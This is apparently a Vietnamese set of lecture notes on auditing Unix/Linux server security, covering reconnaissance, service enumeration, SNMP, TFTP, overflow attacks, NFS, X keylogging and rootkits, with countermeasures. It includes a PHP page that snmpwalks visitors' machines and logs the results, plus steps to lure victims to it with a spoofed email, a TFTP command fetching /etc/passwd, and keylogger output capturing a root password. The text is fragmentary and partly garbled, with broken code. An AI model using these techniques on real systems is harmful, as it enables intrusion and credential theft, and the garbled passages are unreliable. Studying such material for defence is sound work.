+ Danh sách các máy chủ hoạt động + Quy trình đang chạy trên các máy chủ + Danh sách người sử dụng + Danh sách mạng, các máy chủ và mối quan hệ giữa chúng + Phiên bản của nhân sử dụng tr
Trang 11 Đánh giá an toàn hệ thống máy chủ sử dụng Unix/Linux
Mô tả: Hệ thông Unix thường bị tấn công nhiều hơn hệ thống windows Có nhiều lý
do liên quan tới điều này như:
+ Mã nguồn mở: Unix là mã nguồn mở với nhiều lỗi đươc tìm thấy và được khai thác trong mã nguồn Ngay khi lỗi được phát hiện thì các quản trị viên vá lỗi ngay lập tức
+ Tính sẵn sang: Có nhiều GNU Linux và Unix kết nối tới mạng
+ Danh sách các máy chủ hoạt động
+ Quy trình đang chạy trên các máy chủ
+ Danh sách người sử dụng
+ Danh sách mạng, các máy chủ và mối quan hệ giữa chúng
+ Phiên bản của nhân sử dụng trong các hệ điều hành
ta là cố gắng bảo vệ mạng đầy đủ Không chỉ nó là lỗ hổng truy cập từ xa
+ Tuy nhiên, chúng ta có thể cung cấp những ý kiến có bản hoặc hướng dẫn cho bạn như sau:
+ Kiểm tra giao thức thông thường
+ Kiểm tra hệ điều hành Unix
Trang 2+ Tấn công theo vùng miền
a Tấn công theo quyền truy cập tập tin và thư mục
b Tấn công theo liên kết tượng trưng
c Tấn công theo điều kiện
d Tấn công hệ thống cuộc gọi
e Tấn công key logger
f Khởi động từ hệ điều hành khác
1.2 Xác định hoạt động máy chủ
+ Có khả năng lập bản đồ mạng lưới chung và riêng, sẽ cung cấp với các yếu tố cơ bản
để bắt đầu một cuộc tấn công đầy đủ, và có tổ chức Một trong những điều cần thiết
để phân chia giữa các máy chủ, máy tính để bàn và các thiết bị ( như thiết bị định tuyến, chuyển mạch, máy in,….) Luôn luôn là quan trọng cần nhớ rằng chúng ta phải thiết lập mục tiêu và sử dụng nguôn lực thông tin được tìm thấy trong cách thực hiện Phương pháp tiếp cận khác nhau để máy chủ hoạt động, chúng ta sử dụng quét qua ( cung cấp các thông tin trên nhiều máy chủ được sử dụng) và hoạt động quét
+ Hoạt động quét: Cụ thể “Active” biểu thị hành động đó, khi thực hiện, làm cho mục tiêu nhận được các gói dữ liệu được tạo ra trực tiếp hoặc gián tiếp
Hoạt động quét là chúng ta sử dụng công cụ NMap để quét một loạt các địa chỉ IP với các phương pháp quét khac nhau Bạn có thể biết địa chỉ IP hoặc tên máy cho mục tiêu của mình Chúng ta có thể sử dụng tên máy hay nslookup để tìm máy chủ bổ sung trong mạng
Target: somesite.dom
Nslookup -type=NS somesite.dom sẽ cung cấp với bản ghi NS cho somesite.dom Bản ghi NS nói cho chúng ta biết địa chỉ của tên máy chủ somesite.dom sử dụng lưu trữ thông tin DNS Trong trường hợp nhận được ns1.provider.net và ns2.provider.net
là tên máy chủ, chúng ta cần có được địa chỉ IP của chúng Vì vậy chúng ta có thể chuyển vùng(AXFR) dựa trên tên máy chủ, có thẩm quyền cho somesite.dom, và có được một danh sách của tất cả các bản ghi DNS của somesite.dom:
Nslookup –type=A ns1.provider.net
Chúng ta có địa chỉ ip của ns1.provider.net Để sử dụng lệnh trên máy chủ để chuyển đổi AXFR:
host -l somesite.dom IP_OF_NS1_PROVIDER_NET
Nếu các tên máy chủ và tường lửa đều lỗi( có nghĩa là không có kiểm soát truy cập quy định cho di chuyển vùng được thiết lập trên các máy chủ và không có quy định phù hợp được thiết lập trên tường lửa cho việc lọc cổng 53/tcp, là được sử dụng để di chuyển vùng) Hoạt động có thể được lặp đi lặp lại và kết quả được lưu trên các tập
Trang 3tin Bằng cách này mà chúng ta có thể bổ sung, khám phá ra nếu người quản lý máy chủ có một dự phòng, thích hợp, thiết lập tên máy chủ.
Đó là một ý tưởng hay để cố gắng khám phá các quản trị viên hệ thống những gì tốt theo cách này, chúng ta có thể lập kết hoạch cho các cuộc tấn công
Mặt khác, một tình trạng khá điển hình là một doanh nghiệp thường thuê hơn một địa chỉ IP công cộng, và thông thường, nhà cung cấp dịch vụ giao một khối( theo kỹ thuật thì một mạng con với 24 hoặc ít hơn) ví dụ, nếu bạn có một trang web công ty tại www.somesite.dom, và nó tương ứng với một IP chung đia chỉ x.y.z.204, thì bạn có thể traceroute tới nó, xem đó là bước trước Nếu nó là từ một mạng con, thì nó bao gồm router và firewall Dùng nmap để quét hệ điều hành Ngoài ra sự khác biệt giữa địa chỉ IP của máy chủ web và các router có thể cung cấp một ý tưởng lớn
Như thường thấy máy chủ hoạt động đôi khi chồng chéo lên nhau với việc xác định các cổng và các dịch vụ
+ Quét thụ động:
Trong cùng một switch hoặc hub bạn có thể sử dụng kỹ thuật quét thụ động, nơi mà không có gói tin được gửi đến mạng, nhưng bộ chuyển đổi mạng của bạn, kết hợp với sniffer giống với ettercap, do đó cho thấy các địa chỉ IP được tìm thấy và tùy chọn hệ điều hành
1.3 Xác định cổng và dịch vụ
Chúng ta biết SMTP chạy trên công 25, SSH chạy trên cổng 22, HTTP chạy trên cổng
80 Tuy nhiên một số quản trị viên, bảo mật thông qua cách tiếp cận không tốt,đó là
lý do tại sao mà nó thường là quan trọng đối với cổng quét qua hai giai đoạn:
Đầu tiên: Tìm kiếm các cổng phổ biến, ví dụ, sử dụng nmap Nếu chúng ta tìm thấy hoặc cảm giác nhiều dịch vụ có thể đang chạy
Thứ hai: Chúng ta có thể bắt đầu quét một giây để xác định bản đồ phạm vi cổng(tcp
và udp), từ 1 tới 65535.Nmap –sV dich vụ phát hiện trên toàn cổng không chuẩn, và
sẽ cung cấp một phần của byte đọc từ kết nối khi nó không thể xác định dịch vụ đang chạy trên nó Nmap –T cho phép làm chậm một máy quét Tất nhiên nó sẽ mất nhiều thời gian để kết thúc Ngoài rat hang số -f, sử dụng phân mảnh gói tin trong quá trình quét
Các khía cạnh quan trọng từ cổng và dịch vụ quét liên quan tới kiến thức của người quản trị hệ thống
1.4 Tấn công liệt kê
+ Tấn công liệt kê được sử dụng lấy thông tin từ dịch vụ liên quan Ví dụ, từ NetBIOS chúng ta có thể lấy chia sẻ, tên máy tính, tên dịch vụ, hệ điều hành liên quan,
….Chúng ta có thể nhận được tên người dùng và bao lâu và bao nhiêu làm việc trên
hệ thống Chúng ta sẽ cung cấp các ví dụ của các kiêu liệt kê khác nhau
1.4.1 Xác định người sử dụng
Mục tiêu:
Để đưa ra lợi thế của lỗi cấu hình trên các dịch vụ hoặc giao thức khác nhau để có được kiến thức sâu sắc hơn về cơ sở người dùng Nhiều lần GNU+ Linux dựa trên các
Trang 4hộp cài đặt như tường lửa, máy chủ VPN hoặc gateway, do đó người dùng cục bộ không được sử dụng nhiều.
+ Giúp kể tấn công phỏng đoán tài khoản người sử dụng
+ Giúp kẻ tấn công phỏng đoán hệ thống hệ điều hành
Directory: /root Shell: /bin/bash
On since Mon Oct 13 22:06 (IST) on tty1 54 seconds idle
On since Mon Oct 13 23:53 (IST) on tty2 17 minutes 4 seconds idle
On since Mon Oct 13 23:39 (IST) on tty3 4 hours 56 minutes idle
On since Mon Oct 13 23:39 (IST) on tty4 4 hours 56 minutes idle
On since Mon Oct 13 22:06 (IST) on :0 (messages off)
On since Mon Oct 13 22:34 (IST) on pts/0 from :0.0
50 minutes 6 seconds idle
On since Tue Oct 14 04:20 (IST) on pts/2 from 203.124.156.112
30 minutes 15 seconds idle
On since Tue Oct 14 00:46 (IST) on pts/5 from :0.0
1 hour 7 minutes idle
Mail last read Tue Oct 14 04:04 2003 (IST)
No Plan
# finger @target.com
Login: broot Name: Mr Root
Directory: /root Shell: /bin/bash
Last login Wed Jan 30 09:43 2002 (CET) on console
No Plan
Login: nonroot Name: Non-root root user for NFS
Directory: /nonexistent Shell: nologin
Never logged in
No Plan
Trang 5Login: root Name: Mr Root Directory: /root Shell: /bin/sh Last login Wed Jan 30 09:43 2002 (CET) on console
No Plan
# finger 'a b c d e f g h'@www sun-target.com+ Những biện pháp đối phó
Xinetd/tcp wrapper sử dụng để kiểm soát truy cập dịch vụ như sau:
+ Host/ip+ Người dùng+ Nhóm người dùng+ Thời gian truy cập+ Khuyến khich mạnh mẽ để chặn các cổng trên router/firewall
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng từ tập tin cấu hình /etc/inetd.conf
và khởi động lại tiến trình
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng từ /etc/xinetd.conf và khởi động lại tiến trình xinetd
+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services Máy khách cần chạy các dịch
vụ trên cùng một cổng như máy chủ
+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ tường lửa nào(iptables)
1.4.1.2 Xác định người sử dụng: RWHO
Mô tả
Điều này tương tự như finger Tấn công chỉ dành cho các phân đoạn khu vực nó là kết nối từ xa Đó là sự kết hợp thông tin từ toàn bộ hệ thống trong một mạng cục bộ đang chạy rwho Nó hoạt động trên udp cổng 513
Phân tích / kết luận / quan sát
Như bạn có thể nhìn thấy Wally Becky và smith trực tuyến và Wally là nhàn rỗi hơn một giờ Đây là những chi tiết chúng ta có thể sử dụng để kiểm tra người xem và người hoạt động
Trang 6+ Host/IP+ người sử dụng+ nhóm người sử dụng+ thời gian truy cập+ Yêu cầu ngăn chặn các cổng trên router/firewall.
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng /etc/xinetd.conf(hoặc loại bỏ tệp tin finger từ xinetd.d) và khởi động lại quá trình xinetd
+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services Máy khách cần chạy các dịch
vụ trên cùng một cổng như máy chủ
+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ tường lửa nào(iptables)
1.4.1.3 Xác định người sử dụng: RUSER
Mô tả
Điều này là tương tự như đối với những người mà duy nhất của mạng lưới địa phương
Nó được sử dụng để cung cấp thông tin về người hiện đang đăng nhập vào hệ thống trong mạng nội bộ Hoạt động trên udp cổng 513
Từng bước thực hiện
#rusers –a <target IP>
#rusers -l <target IP>
Ví dụ/ Kết quả
#rusers –a <target IP>
[root@localhost root]# rusers -a 192.168.0.60 192.168.0.60 root root root root gaurav
Phân tích/kết luận/ quan sát
Điều này sẽ đến với tên người dùng với các máy tương ứng, và tên máy chủ thậm chí nếu không có ai là loggd trên chúng Tên máy chủ thường hữu ích để vẽ sơ đồ mạng Tên người dùng bình thường đi kèm tiện dụng trong khi cố gắng truy cập
Ví dụ / kết quả
#rusers -l <target>
[root@localhost root]# rusers -l 192.168.0.60 root 192.168.0.60:tty1 May 11 22:02 :01 root 192.168.0.60:pts/0 May 12 02:00 :01 (192.168.0.100) root 192.168.0.60:pts/1 May 12 00:35 :16 (192.168.0.1) root 192.168.0.60:pts/2 May 12 01:39 :15 (192.168.0.70) gaurav 192.168.0.60:pts/3 May 12 01:41 (192.168.0.1)
Biện pháp đối phó
Vô hiệu hóa dịch vụ nếu không cần thiết sử dụng
+ Vô hiệu hóa các dịch vụ rusers nếu không sử dụng /etc/inetd.conf và khởi động lại tiến trình
+ Sử dụng xinetd/tcpwarppers để kiểm soát các dịch vụ truy cập như sau:
+ người sử dụng+ nhóm người sử dụng
Trang 7+ thời gian truy cập+ Yêu cầu ngăn chặn các cổng trên router/firewall.
+ Vô hiệu hóa các dịch vụ nếu không được sử dụng /etc/xinetd.conf(hoặc loại bỏ tệp tin finger từ xinetd.d) và khởi động lại quá trình xinetd
+ Chạy dịch vụ trên các cổng phi tiêu chuẩn /etc/services Máy khách cần chạy các dịch
vụ trên cùng một cổng như máy chủ
+ Cho phép truy cập dựa trên giao diện cụ thể sử dụng xinetd/tcp wrapper hoặc bất kỳ tường lửa nào(iptables)
250 kartikeya puri <user@target>
expn all 250-someone somewhere <user@target1>
250-another guy <root@target1>
250-yetanotehr guy <guest@target2>
250-real babe babe@babevilla
Phân tích/ kết luận/ quan sát
Bất kỳ lần nào người sử dụng giữ mật khẩu như một sự kết hợp của tên đầy đủ của họ Thông tin này có thể được sử dụng cho các cuộc tấn công kỹ thuật xã hội tốt Một lệnh expn Nó tương tự như lệnh vrfy, ngoại trừ trong trường hợp của một danh sách gửi thư, hoặc danh sách mở rộng, nó sẽ hiển thị tất cả các thành viên của danh sách đó Lệnh SMTP expn bắt nguồn từ MTA để mở rộng ( hiển thị tất cả những người nhận) của một địa chỉ Để minh họa rủi ro, xem xét nhiều trang web có bí danh mà bao gồm tất cả hoặc một bộ phận lớn người sử dụng Tên bí danh như vậy thường có thể dễ dàng đoán, chẳng hạn như tất cả( như được sử dụng trong ví dụ trên), tất cả mọi người, người sử dụng hoặc
Trang 8nhân viên Một thăm dò đơn giản để tất cả đưa ra danh sách của người sử dụng theo bí danh đó.
Phân tích/ kết luận/ quan sát
Điều này sẽ thăm dò dịch vụ portmap trên các máy chủ sử dụng phiên bản 2 của giao thức portmap và hiển thị danh sách của tất cả được đăng ký chương trình RPC Nên nhớ rằng NFS chạy trên RPC Nếu quá trình RPC được liệt kê, showmount –e $target có thể thăm dò hưu ích
Biện pháp đối phó
Hạn chế truy cập từ tường lửa/router, hoặc vị trí bất kỳ không cần thiết Dừng dịch vụ portmap nếu RPC không được sử dụng Nên nhớ các chương trình quan trọng sau sử dụng RPC: NFS, NIS, Wall, rstatd, r services
1.5 Kiểm tra giao thức phổ biến
Trang 9Mục tiêu
Để biết chi tiết cấu hình và viết truy cập đến các thiết bị
Dự kiến kết quả
Phụ thuộc vào loại thiết bị
Điều kiện tiên quyết
Dịch vụ SNMP được chạy trên máy tính mục tiêu
Quá trình
Xác định các chuỗi SNMP trên mục tiêu
Gán giá trị MIB bằng SNMP walking và pilfer cho thông tin
Thỏa hiệp hệ thống
1.5.1.1 Xác định các chuỗi SNMP
Mô tả
Điều này có thể đạt được theo hai cách:
1.Dự đoán chuỗi sở hữu chung
Trang 10Chức năng PHP dành cho SNMP walk
Mô tả
PHP có chức năng sẵn có để thực hiện SNMP walking Các định dạng cho chức năng snmpwalk là một mảng snmpwalk (chuỗi tên máy chủ, chuỗi nhóm người sử dụng, chuỗi object_id, thời gian chờ)
Snipet từ tài liệu PHP dành cho snmpwalk “ trả về một mảng của các đối tượng SNMP giá trị bắt đầu từ object_id như quyền root và FALSE về lỗi”
Chức năng snmpwalk được sử dụng để đọc tất cả các giá trị từ một tác nhân SNMP theo quy định của tên máy chủ Một nhóm quy địn cụ thể các nhóm đọc cho các tác nhân Một đối tượng là NULL được thwucj hiện như là quyền root của đối tượng cây SNMP và toàn
bộ các đối tượng con của cây đó được trả về như là một mảng Nếu object_id được quy định cụ thể, tất cả các đối tượng SNMP dưới đây object_id được trả về
Điều kiện tiên quyết
Một trong những điều cần phải biết những tên cộng đồng Nếu các tên mặc định cồng đồng “riêng tư” và “công cộng” được kích hoạt, sau đó các mã sau đây sẽ làm việc tốt
Từng bước thực hiện
1.Thay đổi tên chuỗi riêng tư hoặc công cộng nếu cần
2 Trang máy chủ trên web-server với hỗ trợ PHP4
3 Đánh lừa người sử dụng vào sử dụng trang này.( Một thư điện tử giả mạo có thể được sử dụng)
4 Tải xuống data.txt để đọc kết quả
<?php
ip = getip(); // Getting the ip of target machine
$filename = "data.txt"; // this file needs to reside on server
$useragent = $_SERVER['HTTP_USER_AGENT']; // capturing the browser name (for OS guessing)
$date = date("F j, Y, g:i a"); // to keep track of who visited the page when
$fh = fopen($filename, "a") or die("Internal error");
$a = snmpwalk('$ip', "public", "") or die("Internal Error");
$b = snmpwalk('$ip', "private","") or die("Internal Error");
for ($i=0; $i < count($a); $i++) {
echo $a[$i];
$data = $ip "|" $useragent "|" $date "|" $a[i] "\n";
fwrite($fh , $data) or die("Internal Error");
}
for ($i=0; $i < count($b); $i++) {
echo $b[$i];
$data = $ip "|" $useragent "|" $date "|" $b[i] "\n";
fwrite($fh , $data) or die ("Internal Error");
}
fclose($fh);
echo "This page is down for maintainence";
//the following function will get machines ip, depending upon the settings Thanks
Shaolin Tiger for help with this bit
Trang 11Phân tích/ kết luận/ quan sát
Kẻ tấn công gửi một liên kết độc hại tới mục tiêu Mục tiêu nhấp chuột vào nó và mã nội tuyến thực hiện, thu thập thông tin nhạy cảm từ mục tiêu và gửi nó cho kể tấn công Điều này là tránh khổi proxy/firewall trong quá trình này
Biện pháp đối phó
+ Nếu dịch vụ không phải là hoàn toàn cần thiết , vô hiệu hóa nó
+ Bộ lọc luồng thông tin SNMP(TCP/UDP 161, 162) ở tường lửa Cho phép mạng con tin cậy để thăm dò ý kiến hoặc quản lý các thiết bị bên ngoài trừ khi nó không thể tránh được
+ Hãy xem xét các chuỗi nhóm quan trọng như mật khẩu và cách áp dụng thực hành tốt nhất
+ Thử sử dụng SNMP v3 với xác thực thông điệp và mã hóa PDU
+ Triển khai tường lửa dựa trên các máy chủ (hệ thống kiểm soát truy cập) để lọc lưu lượng truy cập SNMP
+ Tạo ra MIBs chỉ đọc bất cứ nơi nào có thể
1.5.2 Kiếm tra giáo thức truyền nhận tập tin(TFTP).
Mô tả
TFTP sử dụng UDP để truyền dữ liệu và nó là một giao thức ít kết nối, mà không hỗ trợ
xác thực TFTP là một dịch vụ FTP được giới hạn và không xác thực Nó hỗ trợ thiết lập các lệnh giới hạn Nó thường được sử dụng bởi bộ định tuyến, chuyển mạch và các thiết
bị khác để kết nối đến máy chủ TFTP trong quá trình nâng cấp Firmware
Mục tiêu
Để lấy các tập tin mà không có vấn đề xác thực
Dự kiến kết quả
Trang 12Thông tin có thể được sử dụng để tiếp tục thỏa hiêp hệ thống: các tệp tin cấu hình, các bản ghi, vv…
Điều kiện tiên quyết
Một máy chủ TFTP truy cập trên mạng mục tiêu hoặc các trang web liên quan
Phân tích/ kết luận/ quan sát
Kẻ tấn công tại TFTP, bước kế tiếp là kiểm tra trạng thái
1.5.2.2 Kiểm tra trạng thái của máy
Phân tích/ kết luận/ quan sát
Kiểm tra trạng thái được thực hiện, giá trị thời gian tấn công và khác nhau các thuộc tính
1.5.2.3 Kết nối máy chủ TFTP
Ví dụ / kết quả
tftp> connect < target IP >
Phân tích/ kết luận/ quan sát
Dấu nhắc (tftp_) sẽ xuất hiện trở lại và nó cho thấy kẻ tấn công đó kết nối được với mục tiêu
1.5.2.4 Dự đoán và lấy các tập tin
Mô tả
Trong bước này, kẻ tấn công cần phải đoán tập tin có liên quan với đường dẫn Hầu hết các tập tin về thời gian được đặt tại vị trí mặc định Tên tập tin thì dễ đoán
Ví dụ /kết quả
tftp>get /etc/passwd /tmp/passwd.system
Phân tích/ kết luận/ quan sát
Kẻ tấn công tải về thành công các tập tin mật khẩu Cùng một cách bất kỳ tập tin khác có thể cũng cho phép tải về tập tin cấu hình
Biện pháp đối phó
+ TFTP là văn bản, xem xét việc sử dụng an toàn tftp như một thay thế
+ Hạn chế truy cập đến máy chủ TFTP trong tường lửa/ thiết bị định tuyến router+ Chuyển các tập tin nhạy cảm từ các vị trí mặc định
+ Xác định các mức độ truy cập tập tin
+ Trong trường hợp của Linux : /etc/tftpaccess.ctl
Trang 131.6 Kiểm tra hệ thống UNIX
1.6.3 Tràn bộ đệm
Mô tả
Lỗi tràn bộ đệm gây ra khi dữ liệu được sao chép từ một bộ đệm nguồn đến bộ đệm đích không có giới hạn kiểm tra và ghi đè lên các vùng quan trọng của bộ nhớ mà kết quả trong việc kiểm soát của chương trình mục tiêu bằng cách thay đổi địa chỉ trở về của một hàm và làm cho nó thực hiện một bộ đệm định nghĩa việc tấn công được gọi là
“shellcode”
Về mặt kỹ thuật, bộ đệm thường được đặt bên cạnh cấu trúc dữ liệu “chú ý” trình biên dịch Ví dụ trong trường hợp của một chức năng mà có một bộ đệm trên stack, trả lại địa chỉ chức năng được đặt trong bộ nhớ sau bộ nhớ đệm Vì vậy, nếu kẻ tấn công có thể trang bộ đệm, có thể ghi đè lên địa chỉ trả về hàm chức năng để khi hàm trả về nó sẽ trả
về một địa chỉ xác định bởi kẻ tấn công Khác cấu trúc dữ liệu bao gồm C++, địa chỉ xử
lý ngoại lệ, chức năng con trỏ
Lỗi tràn bộ đệm là các lỗi lập trình phổ biến nhất, dẫn đến khai thác các mục tiêu chương trình và sự leo thang đặc quyền, lập bản đồ được thực hiện cho chương trình đó đang chạy với đặc quyền nâng cao và nhị phân sẽ được kiểm tra cho bộ đệm quản lý yếu kém
để có chỗ cho các biến địa phương được tăng POP thì ngược lại Điều này là hàng đợi LIFO vào sau ra trước
Ngăn xếp bao gồm các chức năng sau:
Trang 14Strcat(), sprint(); strcpy(), gets(), vv Bất cứ nơi nào mà các biến không được kiểm soát đặt vào một bộ đệm chiều dài cố định Một thực tế phổ biến là sử dụng n –biến của những chức năng: strncat, snprintf, strncpy, fgets thay vì gets, vv….
1.6.5 Tràn bộ nhớ heap
Các biến cấp phát động được phân bố bởi malloc() được tạo ra trên đống Không giống như ngăn xếp, đống phát triển trở lên trên hầu hết các hệ thống, biến mới được tạo ra trên đống được đặt tại địa chỉ bộ nhớ cao hơn so với biến cũ Trong một cuộc tấn công tràn bộ đệm đơn giản dựa trên đống , một kể tấn công tràn bộ đệm thì thấp hơn đống, ghi đè lên các biến động khác …hệ thống hệ điều hành khác nhau sử dụng các triển khai malloc khác nhau, ví dụ: Linux sử dụng thành phần malloc nơi như cửa sổ sử dụng RTL đống.Một số ứng dụng yêu cầu một khối bộ nhớ sử dụng giao diện malloc, sau đó xảy ra lỗ hổng tràn bộ đệm Bằng cách này, dữ liệu có thể được thay đổi Có thể các cơ cấu quản lý malloc có thể bị tổn hại, khai thác tràn malloc cấp phát bộ đệm là thay đổi quản lý thông tin một cách mà sẽ cho phép bộ nhớ tùy ý ghi đè sau đó Theo cách này con trỏ có thể được ghi đè trong quá trình bộ nhớ có khả năng ghi, do đó cho phép sửa đổi, bổ sung địa chỉ lại, các bảng liên kết hoặc mức độ ứng dụng dữ liệu
Kẻ tấn công tràn số nguyên tràn bộ đệm bằng cách kích hoạt một số các vấn đề liên quan đến số nguyên, hầu hết số lần đếm vòng lặp Sử dụng đầu vào khi vòng lặp ràng buộc; do
đó một bộ đệm là tràn trên lặp đi lặp lại Trong vòng lặp dẫn đến tràn, tràn số nguyên cũng xảy ra trong khi phân bố dữ liệu bằng cách sử dụng một số hình thức của các số nguyên số học trong khi cấp phát bộ nhớ động như malloc và alloc
1.6.7 Kiểm tra tấn công kiểu dữ liệu
Trong ngôn ngữ C và C++ có thể khai báo các chức năng có một biến số Cách nhiều đối
số thực sự là một vài ví dụ về các chức năng này là printf()(, sprint(), wsprintf(), tham số đầu tiên được gọi là chuỗi định dạng dữ liệu là những kiểu dữ liệu khác nhau Chuỗi định dạng cho phép bạn thao tác ngăn xếp bằng cách sử dụng định dạng dữ liệu khác nhau trong ngôn ngữ c/c++, định dạng chuỗi tấn công chủ yếu là do lỗi lập trình gây ra
Những kẻ tấn công có thể thao tác ngăn xếp và kết quả khai thác các chương trình khi gặp lỗi như vậy được thực hiện, tấn công có thể được khai thác nếu có thể kiểm tra bộ đệm chuyển đổi định dạng lỗi
1.6.8 Phân tích lỗi cú pháp
Trang 15Lỗi phân tích cú pháp chủ yếu gây ra do thiểu sự tỉnh táo kiểm tra đầu vào thông qua bộ đệm, hầu hết thời gian chương trình chấp nhận bộ đệm và sau đó phân tích cú pháp bộ đệm và chuyển nó vào chương trình, khi bộ đệm là người sử dụng kiểm soát nó và thông qua thói quen phân tích những kẻ tấn công có thể là thủ công để khai thác phân tích chức năng và tràn bộ đệm của chương tình mục tiêu.
1.6.9 Tấn công chia sẻ NFS
Showmount –e
+ Xác định lệnh cài đặt nfs+ cd/etc và passwd
+ Thay đổi giá trị UID/GID cho người sử dụng đặc quyền khác UID 2, GID 2+ Thực hiện nfs client
+ Lỗ hổng nfs3.Phân đoạn thông thường
4 Tiện người sử dụng có thể dùng thủ công BO bằng cách sử dụng các chương trình gốc SUID
1.6.10 Kiểm tra chia sẻ NFS
Shell truy cập vào hệ thống
Điều kiện tiên quyết
NFS chia sẻ được kích hoạt
Phân tích/ kết luận/ quan sát
Kẻ tấn công tìm kiếm các mật khẩu từ trong phần gắn kết chia sẻ Các lệnh trên sẽ in
ra các dong chứa “mật khẩu”, từ tất cả các tệp tin trong phần chia sẻ /share
Trang 16hàng có thể nắm bắt tổ hợp phím của người sử dụng giao diện điều khiên, chụp màn hình để hiển thị nơi khác Hầu hết các vấn đề gốc từ một mô hỉnh kiểm soát truy cập yếu hoặc không không đảm bảo một phần của quản trị viên hệ thống Hình thức đơn giản và phổ biến nhất kiểm soát truy cập X là xác thực X-hosy Cơ chế này cung cấp kiểm soát truy cập theo địa chỉ IP và là hình thức yếu nhất của xác thực X.
Ví dụ / kết quả
[localhost]$ xscan target_machine
Scanning hostname quake
Connecting to quake (target_machine) on port 6000
Connected
Host quake is running X
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0
Now any keystrokes typed at the console will be captured to the KEYLOG.quake file
[localhost]$ tail -f KEYLOG.quake:0.0
su -
[Shift_L]Iamowned[Shift_R]!
Tail nhanh chóng các tập tin đăng nhập cho thấy những gì người dùng gõ trong thời gian thực Trong ví dụ của chúng ta, người sử dụng sử dụng lệnh su tiếp theo là mật khẩu gốc Xscan thậm chí sẽ lưu ý nếu các phím SHIFT được ấn Nó cũng dễ dàng cho kẻ tấn công xem màn hình cụ thể
1.6.12 Tấn công RPC
Mô tả
Các cuộc gọi thủ tục từ xa (RPCs) cho phép một quản trị viên thực hiện lệnh trên máy tính nối mạng để làm cho quy mô quản lý lơn và hiệu quả hơn Bởi vì chúng được sử dụng để chạy các lệnh quản trị, các dịch vụ RPC thường chạy với các đặc quyền cao nhất trên hệ thống Lịch sử lâu dàu một cách dễ dàng khai thác lỗ hổng, các dịch vụ RPC là một mối đe dọa đối với bất kỳ tổ chức nào
Trang 17được thông qua giao thức này Như vậy, khả năng tương tác là một vấn đề lớn Cuối cùng đảm bảo rằng tất cả các nhà cung cấp các bản vá lỗi mới nhất được áp dụng.
1.6.13 Tấn công lời gọi hệ thống
Sự khác biệt giữa một rootkit bình thường và một Rootkit LKM là rất đơn giản:
Rootkit bình thường thay thế các tiện ích hệ thống cho phép kẻ tấn công để ẩn các tập tin, quy trình và các kết nối mạng Một Rootkit LKM, mặt khác, một cái gì đó nhiều hơn một chút thú vị:
nó thay thế vị trí của cuộc gọi hệ thống, thay đổi tổ chức địa chỉ bộ nhớ cho một vài thứ khác, và các vị trí khác nhau là một phiên bản trojanized của cuộc gọi hệ thống Vì vậy, chúng không cần phải sửa đổi các tiện ích(hoặc thư viện), chỉ đơn giản là thay thế những tiện ích và các thư viện
sử dụng những gì! Sắp xếp rootkit theo tên của Rkit và LKM
Dưới đây là danh sách các cuộc gọi hệ thống thường thay đổi: sys_clone, sys_close, sys_execve, sys_fork, sys_ioctl, sys_kill, sys_mkdir, sys_read, sys_readdir, sys_write
Cách duy nhất một LKM rootkit có thể được phát hiện bằng cách phân tích nhân bộ nhớ trực tiếp Một trong những cách để làm điều này là để so sánh các địa chỉ lời gọi hệ thống Nhiệm vụ này có thể được thự hiện dễ dàng bằng cách sử dụng các công cụ như kstat, đọc nhân bộ nhớ thông qua /dev/kmem Kstat cung cấp thông tin về tiến trình đang chạy thông qua chuyển đổi ‘-P’, trong đó bao gồm các quá trình ẩn So sánh đầu ra với “ps aef” Bạn có thể truy vấn một quá trình id cụ thể với tham số ‘-p’ Để phân tích địa chỉ lời gọi hệ thống bạn nên xác định “-s” chuyển đổi Sauk hi cài đặt hệ thống ban đầu và cấu hình đầy đủ, ghi “kstat-s” đầu ra Địa chỉ bộ nhớ sẽ cung cấp các giá trị chính xác bạn có thể so sánh thời gian Với các cảnh báo cho thấy khả năng hệ thống được thỏa hiệp Kstat cúng có thể thực hiện như một thay thế cho lsmod với chuyển đổi ‘M’ Bạn có thể đọc cac nhân module Trojan trên danh sách
Để biết thêm về rootkit, hay kiểm tra các trang web dưới đây:
www.chkrootkit.org/
http://www.buanzo.com.ar/sec/Rootkits.html
1.6.14 Race điều kiện
Một race điều kiện là một tình huống không mong muốn xảy ra khi một thiết bị hoặc hệ thống nỗ lực để thực hiện hai hoặc nhiều hoạt động tại cùng một thời điểm, các hoạt động phải được thực hiện theo trình tự thích hợp để có thể được thực hiện một cách chính xác Điều kiện có thể phát sinh trong các chủ đề, các tập tin bất kỳ được truy cập bằng nhiều hoạt động
Ví dụ:
Một race điều kiện đa luông trong việc xử lý các yêu cầu RPC Do một lỗ hổng trong phần mền này, hai chủ đề riêng biệt có thể xử lý các yêu cầu RPC đến Một trong những chủ đề có thể giải phóng bộ nhớ được phân bổ để giữ các gói tin đi vào trước khi các chủ đề khác được xử lý xong các gói tin Như một kết quả, Lỗi bộ nhớ có thể xảy ra
1.6.15 Tấn công Key Logger
Trang 18Quy trình kiểm tra
Sử dụng các tiện ích theo dõi hệ thống để phát hiện các tiến trình, chương trình lạ đang thực thi trong hệ thống
Công cụ kiểm tra
Nhằm đảm bảo an toàn ở mức vật lý cho hệ thống
Quy trình kiểm tra
+ Kiểm tra an toàn cho các thiết bị vật lý
+ Kiêm tra thiết lập mật khẩu cho BIOS
+ Kiểm tra thiết lập mật khẩu cho trình khởi động (Boot Loader)
2 Đánh giá an toàn hệ thống máy chủ window
đó, máy chủ trả lời gửi một tin nhắn lại cho người gọi Hệ thống máy tính (TCB) máy chủ được bảo vệ máy chủ, thực hiện như một quá trình với bối cảnh an ninh hệ thống, có ngụ ý rằng quá trình này sở hữu một thẻ truy cập
Chúng ta sẽ mô tả một vài máy chủ tiêu chuẩn bao gồm: quản lý phiên, WinLogon, Win32, LSA
và SAM
Quản lý phiên: là máy chủ để bắt đầu trong hệ thống NT Nó có trách nhiệm tải trình điều khiển thiết bị hệ điều hành DOS, hệ thống con đăng ký trong Registry và khởi tạo thư viện liên kết động, sau đó, nó bắt đầu máy chủ WinLogon
